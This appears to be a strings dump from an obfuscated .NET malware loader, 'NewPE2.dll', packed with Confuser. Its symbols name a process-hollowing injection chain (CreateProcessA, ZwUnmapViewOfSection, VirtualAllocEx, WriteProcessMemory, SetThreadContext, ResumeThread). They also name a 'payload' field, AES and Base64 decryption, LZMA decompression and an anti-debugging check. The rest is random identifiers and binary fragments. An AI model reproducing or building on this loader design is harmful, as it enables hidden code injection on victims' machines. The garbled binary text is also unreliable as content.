!This program cannot be run in DOS mode.
`.rsrc
@.reloc
Z q+Z5a8
dxZa8}
2_ 'a%
Z [qZ-a8
"Z (nn@a8C
jZ RFU.a8
?v`%&8
CxZ t?{
]xZ !#
f)H"Z
V)Z hKo
gyqsZ O
gZ @Bm
n}da8J
M-Z De`ba8\
px}:%8
_bj?
_bY*
#:fZ be
K$Z ^V
f)d#Z `2}na81
G'FZ .
%l;%&8r
&a%&86
Zfw78
xp%&8h
flFqZ ;
B68HZ
6P?~Z
OBAZ p
B;UHZ 2
[!qZ q
Z _bX
\XhZ o|
Z ykw[a8
L;GZ b
nOro%8
Y _cX*
4Q;_8
n">b8s
W?)*Z ?
Mb }BYya%
JZ l|<
kZ @n>
EZ e,$
q||a8i
/ Q^EQ
m)D:8S
Y }Za8
?zR!%8
- bsZ 8
VbZ vX
!6nK8
Z ?_d
_b`*
X _b`
?_bsB
?_bsB
?_csB
?_csB
?_dsF
?_dsF
_bjs
_bjs
_cjs
_cjs
_dns
_dns
_dns
_cjs
_bjs
v4.0.30319
#Strings
NewPE2
CompilationRelaxationsAttribute
System.Runtime.CompilerServices
mscorlib
System
Boolean
RuntimeCompatibilityAttribute
DebuggableAttribute
System.Diagnostics
DebuggingModes
AssemblyTitleAttribute
System.Reflection
String
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
AssemblyCompanyAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTrademarkAttribute
ComVisibleAttribute
System.Runtime.InteropServices
GuidAttribute
AssemblyFileVersionAttribute
TargetFrameworkAttribute
System.Runtime.Versioning
NewPE2.dll
<Module>
ValueType
Object
DelegateResumeThread
MulticastDelegate
DelegateWow64SetThreadContext
DelegateSetThreadContext
DelegateWow64GetThreadContext
DelegateGetThreadContext
DelegateVirtualAllocEx
DelegateWriteProcessMemory
DelegateReadProcessMemory
DelegateZwUnmapViewOfSection
DelegateCreateProcessA
ProcessInformation
StartupInformation
Native
<PrivateImplementationDetails>
__StaticArrayInitTypeSize=7
ConfusedByAttribute
Attribute
<Module>{4DFE5051-420E-45F3-A91F-0342C1F5B02B}
geUwbRLwd0WNm7K3QP
FZSxiJ5ZBJmwSxbEqP
SFU4mbT3GMret7THonf
EwV3ECxYhIse1SOarW
CociHuaT4WLV2kj8CU
hg2pYoQq5nS4UcRRnl
bRqeSLE72O1NdugcTR
pGgtnlL82qSlXNiLlrS`1
c8ihNv43S31kyl02V6
nYgvqjWcI75xBQwqaC
PAgdCSTJ5iWm1cvyjl
fyrtVaH8IKZ3nTn56j
uSoenvS025INdsxXNl
sQrf7Pb5iAPUKgCry1
dcyEUnmGvKX00QS1F5
jesjg86ja3K3wbZewF
wsdbkEtQbDyuqrNXJ1
AF8gd0JRmYcCnBuCEs
HHavse2q2GPW7SrFAT
hyOVp0cgbYqhCSR8YL
MBiHIp97M4MqqbtZOh
eLxG93FZl5M3yHxFGb
OBqe2IUAeSpOmlOQ4O
jOgQY3RGtH5fd9qQao
hSn0ucLlLMaeFvn5InR
bTUKqtLXplwjOaJo6Hj
XpYRXgLvS2Z8HELLCVO
YaeDDELdekEtZ4qXJ1p
CydMXSLujvvk8Y3dM14
pcfWqpLUHZiq5CNCNsA
j5UMoXLRwIcnpEjt1UJ
iQ4HZQLQyLCdABwFXsw
MIegr9LEMaB3mn2S8kK
eOTFqXL4MCe1DWExSFT
Exception
jB7Io5LWnK4vE2iB95i
K14OTLLT4lAAZwtUFKB
xlFl6HLHf4Wx0BoEfgp
C50CprLSCELDpjV9aKU
daEbHELbQht9GYRuEJp
dcnLnOLmJmDBGRqeOE8
f6yUdEL63YbYB5aCQOA
R3Oma8LtRwKkrYXOrgs
j9Ha11LJoma4Y5DYntf
V6kKaOL2XvatnIN8I0Z
HrpI4gLcuIdaB2erwhp
bUeJteLhNL76rUQL5ZO
JWGbihLe59w0Tjpgs7W
yDoeNELfV5aXCK5H1Ar
Dhe3JWLp0DcXGE8RZ6a
c9qBopLNoZTiN7k24Gr
bGs71YLiIW9il9yDL4a
CyiAdZLCpvyZKhkMmGc
g2JyDeLqftkG6b66Zf8
X6oonhL1IpoG9H0Sh52
eWkd24LgaAF0Pq2snjr
mP2oxFLYK5cKBXZuceg
jpakqYLktEb8W04L94Q
ntLxulLsB1ABCdvkPGX
VagEUnLrg8uVZICmTDB
iGQH0gLZd16LDXi2iXN
g6G7F6LPsY0A2sA8jx9
d8DBA7CF97EC0ABA
V6VagRLKaUE7SYvTS0L
RhhErALVngYO0wvaQaQ`1
<PrivateImplementationDetails>{C943FECA-58A4-4E95-982F-EBBEF9456638}
__StaticArrayInitTypeSize=16
__StaticArrayInitTypeSize=18
__StaticArrayInitTypeSize=30
__StaticArrayInitTypeSize=32
__StaticArrayInitTypeSize=40
__StaticArrayInitTypeSize=64
__StaticArrayInitTypeSize=256
AKl7MFv91XIdT83D9L
uymJUaZhZHSKKlp0nO
gElSKWI3gXG3s39dMD
llfXxLeG3e9nxlJAWX
ycrwNv3UM1iYg4dqfq
mWco2j1yipE04aLiT6
fktB9YBpapsSFoBduP
J8jjGaknX7kxIkOFen
rsVujxlTKeRBZqbTHb
Q5XdyN9udDVjJjXsDo
yXmEMRFBXqNSK45q8F
AJehdUROqrPcoAptKs
BI9rQMjlYb5OMCGxIX
voIwfl0xslQ4aprmKj
SX7cUOiHuUuAlme3CP
r0GLv6gmisaPxTlXdP
iiip6rHE7fe2vadt6g
URS2D1WTcPdWHsNOtE
qmUnYAXDhAm0Kpn3X7
rgieWRfrmMp96hpeu1
vLL18T6JM5auJalrjr
BBMGXGLJx6B7sp62CZ
nIRPxcyyYb20rCHF72
YBYaNG44aaWJJyV7Q3
tr9XAswtoLXNyGoioUp
B84Rmhwcm9AmMYG5uD0
cb1M0awA4UxG11veyWg
KVvcirw7NF15wNkYhsD
PR2aWYwQmuIvcnXbJgO
ffAq3KwamEps6UDPh2x
FaB5uKw54jmPnfffyTD
BFsNw1wvS0EyJplUgmE
AYMnqswZDOHQihG9cYb
XiTtrgwIxwGp7oRalqG
cYf5TuweahXfsfmgGWZ
Na8Y7sw3hNZJgTUwaen
q5vyV0w1Mpq2jXCdKBn
oXLMK9wBLMmN7e8Dura
feQcu4wk99BkokL0IAd
O51yVpwl69LeQYRjCBe
QUYaNmw9U3jVjJjrp65
aXfj6cwFSPEAHkwpsIS
x405ADwRgXPRMuF2anf
lA9lKwwjM2Ujs1yPbiO
w1pdsXw09IR8OIABjm3
xHiEZqwiAAOmoV3ptlF
VgSyB9wgQu2XfpPZ7tV
FOKT8CwHDXFEy4b6kWt
vcVkhDwW68Vd08lvdKs
Ru33FQwXsViutlKLcnT
TY4lUBwfVxFnyGW8kGi
hUpu4Rw6kXlKbciiCwI
uvneTEwLB8uiXcap9na
etnUBTwya9p12wLw4X3
EnjBUaw4sSjKIKf0EYE
l2TTVoctyI67V4WrFCk
HgbKOZcc4xWac7qYkIq
yufNbecAgmt4Bc7LCNE
Y5RD8wc7xmBiF8X4sSS
GXEtfjcQS5WIkqNwKU7
Th7DkgcaaIYAAXmn2NM
iaWYric5vIh7wVqGY9f
LfYVFScvwGk8dMo7wD0
LeUOSccZ9bXtsjJGw8g
xSmigrcIBvSLDZRDsiQ
Pq5JuJceBaJVVTuMUXx
OMtvgTc3HQwEMgvlYnY
dlXPC9c1R1qU52SQgQH
EkFBi0cBLk3bTUwYKO8
FPUyRUckte0jR1kKg4C
S58cSccl3B4W82m2nTv
oQoZQlc9HBrXdPQTHt3
vM8eHDcFUsJ2DvnOAgJ
OOdh4RcRiBKrK7rGwQg
adjaONcjO3KS7fgiX6o
AnA7NTc0G8TBxjKTRWp
Aif82Sci0Q6LAa40tr2
OPDW40cgbgLKnT0tQSB
wT7f82cHUmgZ7hkTnVi
GJc6uicWyPrGSY5NvGp
LvR20ocXHeaxXsZ9QC9
SkSvyKcfRhmCrM8yoXl
II0ghpc6oLmSAyL6FHR
HL7Hg4cLu7NqpqJGkuS
tKxtK0cyFPGxsR4TdVP
Khvgmvc49swX1xRGK8g
rrvc9DKtdHUNOsKsTGr
AOgmdMKctiIm9hcmZ15
lFE2cgKA1mDfqqS1R22
MqVnioK7WfYAjp56xyw
K8Fw5eKQuuMm6UgswZx
ffuZDJKajGBkgAOae5u
Njd2BNK5wFheY9sJsg9
iUuDLDKv6QCphNVyLfs
wNKI3FKZ0RBOeNK9kMS
M7nXefKIhlY6Ku9YLw4
JIcd7gKeRwpWvQQKf46
EYjG7OK34nylBqWWBS9
O8wlVKK1FhZwmSwSNqO
hHr1bcKBrUXTRl7PPQn
AWJrvfKkUnXX9w0wLtF
eO4hweKlwFbr4ZP64da
TWP3cPK93kGudAXK5yd
lpZm7WKFLpD2swC8516
YbpGbaKR48P1HrJvJMi
gprVMXKjYxi68EJwYZd
Ji3VcoK0M8kuPA0dR84
TSanxIKiXexuGgmxqBu
yrhcMpKgDT0WgfLom7t
jmYfPXKHNvTpRkGr20u
Xx7SukKWpOLBFt5REUl
DbHNAFKXinq9v2IRCv3
JKFALdKf0Vsl03PSBLi
vbsx1yK6JvkPNkrCCUv
vqiikNKLAvspO7GU91P
r0DsAdKyZbNC7Nw2cRk
rTUdiqK4dZKRdPufa2I
LJ15diAtav4V1Xihd55
T7XosQAcUEWmX9xd8KD
JkXkXoAAfNh3EyJ2AAP
JKfCNsA7LSBotlj26VD
OQPckZAQ04iEv8wvP08
K2ZGQ5AaC4FA3F6bj9D
mWVOBeA5650fhKDVaNm
awqTDLAvji5QHAcGEsg
gsx6pyAZ0tfq8k52lil
imXidBAIKFmnmla3j8k
JINGHmAe92wWHqFuGIF
yd6whWA3robNh7JIxFR
lkEHNuA18qVr29yjqjT
Mfm7yjABc8gDFxXgGuM
VhcKfUAkKcgC8DooSWq
jwUK5vAls7L2OnOXhxA
uyhQKNA9Gjrk69G6nm3
YaQkkuAFFykvjDs5CtO
o4eSYMARhbQKEiV3XQH
e3sbafAjDiEV2ZSujjH
kAfnSMA0RUPTO0SK5xD
ycY9RMAiKKmltQShN5q
RE50e0AgQQC8TIoUCU6
vTuWlkAH7f8t9HHXqqo
OCCdPVAWJr97K8KLUN5
sc12t7AXKs1Ws6GBK0F
G0yvh4AfbDvYE37ElP7
meVdyCA6VaSVBIEGTZq
aFIXxBAL3IbbeE6JFII
m915bbAyi5bJn1lKdI8
eptRXlA4FdFS67nVCyp
zDY8EgSt0fOljkgkdLw
sBiS0WScvkHtAwroieX
CWMmnJSAg4JhETe12G6
c9d1RlS7GXQcRiXOpGm
Hy53YISQXU5qccXfSw9
Q2VLm5Sa8lMJOtcSdST
E6PCF9S5k6cpPrcUda8
obSVaNSv67liQIUGsmM
h9Y9ZsSZYaXwMIBYf71
mLZdQQSI8YPgChwwsjr
CBgVlZSeQbVlJ6m3lsB
f8DBA7CF97DA626A
.cctor
UInt32
MethodInfo
Environment
MethodBase
Invoke
ParameterizedThreadStart
System.Threading
IntPtr
Thread
thread
MemoryStream
System.IO
BitConverter
IsLittleEndian
m8DBA7CF97DA626A
rangeDecoder
numBitLevels
Models
startIndex
NumBitLevels
Stream
stream
numTotalBits
dictionarySize
inStream
outStream
inSize
outSize
UInt64
properties
numPosStates
posState
numPosBits
numPrevBits
prevByte
matchByte
windowSize
distance
object
method
handle
BeginInvoke
IAsyncResult
AsyncCallback
callback
EndInvoke
result
context
address
length
protect
process
baseAddress
buffer
bufferSize
bytesWritten
bytesRead
applicationName
commandLine
processAttributes
threadAttributes
inheritHandles
creationFlags
environment
currentDirectory
startupInfo
processInformation
ProcessHandle
ThreadHandle
ProcessId
ThreadId
Reserved1
Desktop
Reserved2
StdInput
StdOutput
StdError
Kernel32
RsmThread
Wow64SetThreadCtx
SetThreadCtx
Wow64GetThreadCtx
GetThreadCtx
VirtualAllcEx
WriteProcessMem
ReadProcessMem
ZwUnmapViewOfSec
CreateProcA
ResumeThread
Wow64SetThreadContext
SetThreadContext
Wow64GetThreadContext
GetThreadContext
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
ZwUnmapViewOfSection
CreateProcessA
LoadLibraryA
kernel32
GetProcAddress
hProcess
LoadApi
CreateApi
Execute
payload
ReverseString
BinaryToString
geULwbRwd
Module
rAQS30yL7I
typemdt
FieldInfo
B0Y8gvqjc
X75gxBQwq
Assembly
dCr3AgdCS
C5iGWm1cv
YjlIFyrtV
d8IwKZ3nT
RSACryptoServiceProvider
System.Security.Cryptography
j56yjESoe
Dictionary`2
System.Collections.Generic
kv0z25INd
OxXLMNlUQr
H7PLL5iAPU
RgCL5ry1ac
List`1
YEULxnGvKX
m0QLaS1F5D
GsjL9g8ja3
R3wLFbZewF
wsdLObkEQb
jyuL7qrNXJ
LmFLA8gd0R
AYcLDCnBuC
usfLnHavse
K2GLoPW7Sr
SortedList
System.Collections
fATLB7yOVp
mgbLjYqhCS
t8YL0LWtVo
IYDLlwuQUc
PvELXLuSne
Y08Lvd87iv
jW7LdWHyFW
g1bLunKyeV
NWXLUDtKgs
c5ALRYKqRb
firstrundone
fcnLQS7gbG
Hashtable
EAfLEAC0F3
rceL4if63y
oUfLWd7RBO
u7uLTDaiuk
erPLHHD1s2
HhELSQLBcy
T52Lbk6FSX
GetTypeFromHandle
RuntimeTypeHandle
get_Assembly
RuntimeHelpers
InitializeArray
RuntimeFieldHandle
set_UseMachineKeyStore
hVKSMVHjQP
nWN5m7K3Q
GetBytes
ReZxSxiJZ
UInt16
kJmawSxbE
LPc9wV3EC
MhIFse1SO
drWOJociH
rT47WLV2k
m8CAUYBiH
Wp7DM4Mqq
SymmetricAlgorithm
AesCryptoServiceProvider
System.Core
RijndaelManaged
Activator
CreateInstance
ObjectHandle
System.Runtime.Remoting
Unwrap
ztZnOh9Lx
MD5CryptoServiceProvider
CryptoConfig
get_AllowOnlyFipsAlgorithms
V93oZl5M3
HashAlgorithm
ComputeHash
YHxBFGbCp
VeZjNyNqf
TransformBlock
n6104RmDI
BinaryReader
get_BaseStream
set_Position
ReadUInt32
EmOXN654e
ParameterInfo
DynamicMethod
System.Reflection.Emit
ILGenerator
Monitor
GetManifestResourceStream
get_Length
ReadBytes
GetFields
BindingFlags
MemberInfo
get_MetadataToken
get_Item
get_Module
GetGenericArguments
ResolveMethod
get_IsStatic
get_FieldType
Delegate
CreateDelegate
SetValue
GetParameters
get_DeclaringType
get_IsValueType
MakeByRefType
get_ParameterType
get_ReturnType
GetILGenerator
OpCode
OpCodes
Ldarg_0
Ldarg_1
Ldarg_2
Ldarg_3
Ldarg_S
Tailcall
Callvirt
QSPv3Xnak
NwEdyZnC9
gLJURA5kS
Debugger
get_IsAttached
vg8R5Zymw
s8rE5nceT
Convert
FromBase64String
Encoding
System.Text
get_Unicode
GetString
ipu4M3TNx
iBaWMeAXY
GlrTM2W85
Marshal
GetMethod
TaoSI945H
get_Location
Exists
GetName
AssemblyName
get_CodeBase
ToString
Replace
GetType
GetProperty
PropertyInfo
GetValue
xrSbEXQDt
LoadLibrary
Srvm60AOc
aBh6siITT
Concat
GetDelegateForFunctionPointer
rKetPVW5O
e1UJIVZmc
jH42P6TBE
hslcEXgTI
ucthcQ5lr
c8iKhNv3S
op_Equality
NIpe3HaA9
FileStream
FileMode
FileAccess
FileShare
IDisposable
Dispose
gVAfkMyXR
Hjep8dVJy
ToArray
LE5Nnt7Xh
set_Key
set_IV
CreateDecryptor
ICryptoTransform
CryptoStream
CryptoStreamMode
G3siDhSSM
vURCAsBqe
DIAqeSpOm
nOQ14ODOg
tY3YGtH5f
q9qkQao7g
DpYsoq5nS
vUcrRRnlL
sqeZSL72O
MNdPugcTR
BPTavEfPI8
CreateEncryptor
ToBase64String
classthis
nativeEntry
nativeSizeOfCode
W4Oadd1fma
m8Zaun80eo
bNRaTBnZVA
uVaa4GpUIk
u6YaUGQ5Rc
t0UaRBG3Pj
pNJaQb5F9t
ReadInt32
YcBaEMIBPc
hModule
lpName
lpType
lpAddress
dwSize
flAllocationType
flProtect
lpBaseAddress
lpNumberOfBytesWritten
flNewProtect
lpflOldProtect
dwDesiredAccess
bInheritHandle
dwProcessId
value__
fDcLmRVPtU
D9JS1mJ5Ld
PVGanEWhlM
oLdaoiVT7G
tMVaB3hxr3
omRajHZ0wU
WABa0tWy6E
yHDalgja3A
Wc3aXvakmy
rZnaaJrE25
qWAa9mQMya
Single
Double
UIntPtr
Comparison`1
<>9__46_0
yARv6SBI2m
get_Count
TyOaFSuuHy
R2paOF1pXp
cQqa7Eegfx
dbeaA8jlro
wqZaDFXp8N
C1oBHylShu
AosBSnBKRL
stSBbD5mwM
BwOBmMoGP6
MlKB6i90Nn
GLgBtRhyOg
d37Bh8uTDv
Y69BeUt9vR
nOQdl4ODOg
tY3dXGtH5f
q9qdvQao7g
DpYddoq5nS
vUcduRRnlL
sqedUSL72O
MNddRugcTR
d6IBJRRp2Z
c8idQhNv3S
V1kdEyl02V
B0Yd4gvqjc
wLUB2Orv23
X75dWxBQwq
dCrdTAgdCS
C5idHWm1cv
YjldSFyrtV
d8IdbKZ3nT
j56dmjESoe
kv0d625INd
OxXdtNlUQr
H7PdJ5iAPU
RgCd2ry1ac
YEUdcnGvKX
m0QdhS1F5D
Gsjdeg8ja3
R3wdfbZewF
wsddpbkEQb
jyudNqrNXJ
LmFdi8gd0R
AYcdCCnBuC
usfdqHavse
K2Gd1PW7Sr
fATdY7yOVp
mgbdkYqhCS
t8YdsLWtVo
IYDdrwuQUc
PvEdZLuSne
Y08dPd87iv
jW7dKWHyFW
g1bdVnKyeV
NWXd8DtKgs
c5AdgYKqRb
fcnd3S7gbG
EAfdGAC0F3
rcedIif63y
oUfdwd7RBO
u7udyDaiuk
erPdzHD1s2
HhEuMQLBcy
T52uLk6FSX
fDcu5RVPtU
VVAuxnv6BF
PPauaFcpRf
rFou9powA0
TvpuFtHMx3
d69uOOjWrX
XJsu7LDPbi
AKNuAZ11DR
PZYuDsqDg5
OJsungeQZd
CrluoqnI7g
fdRuBgjrLs
YYHujsF82I
HL6u0YI3Yb
S5MuleAUoL
pY5uXSxpHK
qmOuvwnxTA
LJ3udQlIYO
N4muuK8Z5O
KGbuURteF6
cSauRN3PjN
xXAuQJbXWE
gRCuEnOnhD
gKku4OTsTL
SHouWnYaPf
tJ9BciOew0
BeouTiljCp
a5iuHuxxL9
AMUuSZ5Bny
s3rubpelFd
lwlumgaheq
oj9u6Fhwca
kZGutsdjSl
soGuJAfcec
UOZu2PVRec
FCHBfwKmRn
hA1BpvTi1k
QmSBNgiBCc
SF9BiX4ruC
oPHBCnNDZA
qt6BqjXoyG
HSsB1KnPq6
DoQBY2qDkD
EtUBZQQZRa
WAmBPMB0G0
qU2BkdrOYs
kHZBssPC3s
ovaBrj9Y4u
z0dj5rkN6f
a5Pjxy25SY
L97BKE25N4
lqfucMK0hV
NrdBVmtKL7
RvoB8BAV82
diBBgFLiiU
EMWB3yONoS
A91BGcXunp
C1lBIaw5rr
A4nBwDQQ4V
yIwByEsukh
qiFBz81Hu6
Cp3jMBVv14
OKCjLo23lH
gyIuhELnxq
BUuja1QMZO
uFvj9I4fVf
wk1jFwCKSW
PTyjO0yydc
DWVuea1EMj
BThufJwh7w
Eqfup3BbFp
DSnj7hEZ7a
RL9jAF4lBE
NotImplementedException
QA1jDkQJ0I
YeejnUEEvx
A39joYqGSV
nGEjBfyeTD
EqvjjieJlV
GVpj08wEwV
kTXjlPLshT
tPBjXYjAJE
UDsjvgp1ei
UhNjdqxgic
RcQjuILAQC
XH6jUerVZS
WhxjRcXFCB
r4GjQb7Vvg
N3YjEEsk0h
KBbj4IwY3n
CrWjWZF3Io
XFAjTPCIM3
F9CjHFtGZY
FTijSNsYde
LIFjbWNxpq
nWdjmd2WlN
Dpmj6iSp4C
y6mjtIyqq4
qpZjJxQ46V
J96j2oqJsf
JDJjcB4nud
fBcjhfhonR
C4ujeQYOhV
Hpjjf13Ho9
ovMjpUjjfa
MCsjCH4M8g
f1xjqAe01x
AddRange
IEnumerable`1
Equals
GetHashCode
Enumerator
GetEnumerator
get_Current
MoveNext
uJ9jNuhOde
LaJjisNd9u
target
paramters
eV7XiE3C4H
GL6XCXXAY9
Ti3XqqGbnS
xvIX12K5P4
Gl4XYW9Iw1
GT5XkyXtsY
vBXXs2g5N5
kO9XrsjAAr
LHAXZHD3u1
mJvXPuZWLG
P6nXKq05L2
d6xXV9O6wf
WUtX89BpW0
wIZXgFO6U7
WT9X3IVJtU
us3XG3bSNL
hL4XIw57CM
xRkXwNANCW
tnBXycvSYh
UBIXzg2TS3
kQfvM9jv6W
yeHvLKgEPe
schv5EvJl0
Rfevxivn5c
MTHvairTKI
Qe7v9AGJpX
OEuvFnCu1u
np5vOHNAn0
xRgv7G3cbx
vQovAna5lx
hEbvDetTSD
ygDj1mPbak
liejY9ZWI8
tbKjk9l4qb
TargetInvocationException
chDjs4NQul
rEbjr309ae
gBsjZMnfbw
LedjPYTVOC
bbijKtxMDJ
RuntimeMethodHandle
ConstructorInfo
set_Item
TryGetValue
ArithmeticException
OverflowException
NullReferenceException
Reverse
Tf1j86bleG
R5TlnuhCDh
YJaloo5Icr
iy9X7mlNkM
EmptyTypes
Sizeof
iOjXUP0iwQ
emQXRxn40M
nQ3XmWfO7h
ngsX61877u
LocalBuilder
Ldelem_Ref
Unbox_Any
Castclass
Ldloc_S
Ldloca_S
Ldnull
Ldind_Ref
Stelem_Ref
VjkXtf3BeQ
Ldsflda
Ldflda
Ldsfld
p5CXJfBK9B
Newobj
mduX2x281b
Ldc_I4_M1
Ldc_I4_0
Ldc_I4_1
Ldc_I4_2
Ldc_I4_3
Ldc_I4_4
Ldc_I4_5
Ldc_I4_6
Ldc_I4_7
Ldc_I4_8
Ldc_I4_S
Ldc_I4
UaBXcOcakv
tdGXhyXof8
bltXeOrHnB
BSmXfQAMYn
xoaXpMBebu
Initblk
KbHXNoolqk
<>9__12_0
MPIvtZCIsW
tdyvUPSCoA
W6wvnQlCGV
glCvoAFEwW
LkLvBB03rl
E4wvjiQ2aY
YVbv0y1oss
nGhvlaVjva
hewvXrsnJ8
UUIvvnLNCA
InvalidCastException
CFovdms9ca
wxXvux1dbZ
RJYvRBRDtP
jyuvQjLcik
SgfvEZDVji
aKuvmhnH37
hMWvSoG03q
OyDv4akGg5
DjWvWsmuSB
HtMvTddAIt
CmTvHQWOmB
RemoveAt
StringBuilder
IFormatProvider
AppendLiteral
AppendFormatted
ToStringAndClear
0E448EF5E5E60630BDDB19388CB6378436E3C65D03DD66DA7C6EBFF563BD857A
4BED3ADC52D4904075F6BBF279EC4ACEDE079533B95E229A29809542EA324A7B
62E6F13B53D67FDD780E20D89A6E8EE503B197AC16AC3F1D2571C147FDD324C9
7F535673D836D3D77A97DB03EB3D71EA780F44372F5AEBECEBEDD696AAEB8378
97E613E5A3A47DEC76B7E50D47644B35EA4322F00D594D80D2F1C1F3644F8A4A
C356AFF1A01C2B0DA472E584C8E3C8F875B9A24280435D42836A77B19F5A8C18
C61B1941CF756EB7551F7C661743802362728B785ADC22E860D269713DFB01A6
D5B7247C497788CF0031CEB06E3DF77A45FEF59F1E49633DC7159816D64759B5
p6UYD35gE
Ks3bfPmm3
U0k2Uh79g
CAFVMfoam
tpVsk91oT
kMoM1VLXi
iFHDOwwv7
sBDxtkhFd
HXcmIh6NZ
WAq8hs22I
FNvOtiwfF
pXMpZXskY
mAYnY8Jci
AoQhJ8Bp8
orDThdE3E
orVNoQeax
YM8GipfEN
vuQoX7SKm
LqwqQU9gu
XZ9UDt5ok
GFSJYa4uZ
hexrUWR2L
L65drTTAT
xL3CkqHvp
sFuzGuqyL
Ndbww0DZyq
vZrwK8BPHR
WNwwSLZcEP
Q6iwugoH3K
fMUwPPSwPr
FQFwEoSAPm
StringSplitOptions
KWCwbpyn5U
mBKwY7FpsE
OBYw2EcmHo
o75wVviPTK
U77wsOu8wh
V1HwMTiO8P
clEwDcFgsQ
CallType
Microsoft.VisualBasic
SNmwxDjG45
GPbwmUFCdE
Lp6w8wMfDx
GvkwOWEf9h
dkvwpAxw0q
xGDwnYoulY
Process
kCAwhy0D9S
CBfwT3bZq9
oQVwNnhq8q
huFwGRFKQc
vumwobpvYh
nBYwqJTeSe
GDvwU93GNo
deOwJXte2r
eUQwrpsRPY
Ah1wdmEc8b
usnwCny2q7
QlNwz5U5dh
JAAcwrZHlF
joQcKnIJL4
F7gcSiuTW4
IqRcuu63LE
ljEcPq3j5r
woWcEZyxn1
vgDcbhtkf0
tbacYkDPdx
tqoc23jcDF
K7mcVLEVy8
cXXcskuMGp
vr2cMxr3Ql
FNRcDcIbsF
yy0cxfCXmp
kAtcmOdjVI
yNTc8hNJik
VQScO6LoVh
wj4cpkEgPE
m5jcna5n4A
b31chCCwJl
yEBcT1ASJh
cMJcNNBbmp
FcacGRtAD1
obVcoIfxpF
XBEcqxIbpY
qAtcUSSIms
ySucJQGttY
DuucrPeXZG
R8pcdDPgFu
r9KcCUdYmY
sjqczL3SW3
P9dKwlNLuy
RBjKKF6j1Q
wZaKSSKf4o
netKuGcIn6
Ic2KPpCmRm
CUrKE88n1H
XByKbA5FAW
bAFKYufQ0M
wsFK20bTXq
Q3TKVO3mKD
tdfKs5Gf0I
a3KKMSKADa
IV4KDFGyNM
QxPKx8cyf4
zFKKmwhJZg
Eo1K80yJ9v
jTKKOHMNrh
VUOKpLTZvQ
AAEKn7IVgZ
PQXKh2Vo0O
AuqKT66xy2
pgXKNJFI7K
OciKG3Qt4V
AIUKoSrjbN
IGSKqSW6Ho
aMDKUFpSnB
AmAKJsZOZd
fotKr5NMcp
oQSKd7g1fi
Rp4KCRpIMA
i1FKzTHNCZ
L2uAw7UE0f
vGKAKXV2lP
IPOASZ3hZk
lrbAu4yNn7
qKiAPR9gUT
Pm5AEqDy5j
Xm9AbsF0SM
gDNAYogho6
OPPA2H1UDn
jr1AVHEbKK
yclAsvlhDy
i2AAMAWxkB
tiNADU8V3o
WUoAxBinXd
LB6AmNuOO3
I2hA8rR4Tx
LZjAOYA6QA
RdgAp0FssU
WuvAnxuHaC
oIIAhonqnp
exKATBJlT7
xjlANgnHEs
FkpAGviImo
w9VAoCcpO7
DB9AqGVSvl
f41AUukjN3
t0HAJgVhTe
kl1ArM8rxm
JrWAdTxokZ
PWbACwj9pY
XMrAzvEwrj
h97SwZoKSW
SiwSKvGR0k
AhsSS8RA9K
d2RSuQtQfB
on7SPfIOoF
TiLSEpbpib
ddCSbytDbT
zOeSYQVdrO
LxlS2LScHa
WqnSV8Vlnx
RoQSsJASh9
GetPublicKeyToken
set_Mode
CipherMode
FlushFinalBlock
get_EntryPoint
FailFast
set_IsBackground
get_IsAlive
get_CurrentThread
IsLogging
ToInt32
GetExecutingAssembly
GetCallingAssembly
Buffer
BlockCopy
get_UTF8
Intern
GetElementType
ReadByte
SizeOf
get_Default
Interaction
CallByName
ToInt16
get_Size
GetProcessById
Strings
StrReverse
System.Text.RegularExpressions
Substring
ToByte
get_ASCII
ResolveType
get_ManifestModule
get_IsByRef
ReadInt64
ReadSingle
ReadDouble
op_Inequality
get_Position
Nullable
GetUnderlyingType
get_IsEnum
ToObject
op_Explicit
ToInt64
ToUInt64
ToUInt32
FreeHGlobal
get_InnerException
get_FullName
IsAssignableFrom
ResolveField
ResolveMember
IsInfinity
get_MethodHandle
GetFunctionPointer
get_BaseType
GetMethods
GetBaseDefinition
ResolveString
AllocHGlobal
FormatterServices
System.Runtime.Serialization
GetUninitializedObject
DeclareLocal
EmitCall
LocalVariableInfo
get_LocalType
ChangeType
CompareTo
get_FieldHandle
get_TypeHandle
Append
AppendFormat
CompilerGeneratedAttribute
UnmanagedFunctionPointerAttribute
CallingConvention
CharSet
FlagsAttribute
NewPE2.g.resources
ZixOSxEmIdxfInEgRv.mw42r45SqgFPYg9Jme
EUO6PVPhBs9oAUix7R.PP9MTWaRrjTQlXUxWo
aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resources
WrapNonExceptionThrows
NewPE2
Copyright
2022
$93836e84-1d33-4fcf-a590-27e36c5cdf8e
1.0.0.0
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName .NET Framework 4 Client Profile
Confuser.Core 1.6.0+447341964f
CociHuaT4WLV2kj8CU.EwV3ECxYhIse1SOarW+bRqeSLE72O1NdugcTR+pGgtnlL82qSlXNiLlrS`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]][]
SUsSystem.Runtime.InteropServices.CharSet, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
CharSet
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
9u9yH*
A!hAsH
C"<vq5
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ajSystem.CodeDom.MemberAttributes, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089mSystem.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089fSystem.Drawing.Size, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.CodeDom.MemberAttributes
value__
System.Globalization.CultureInfo
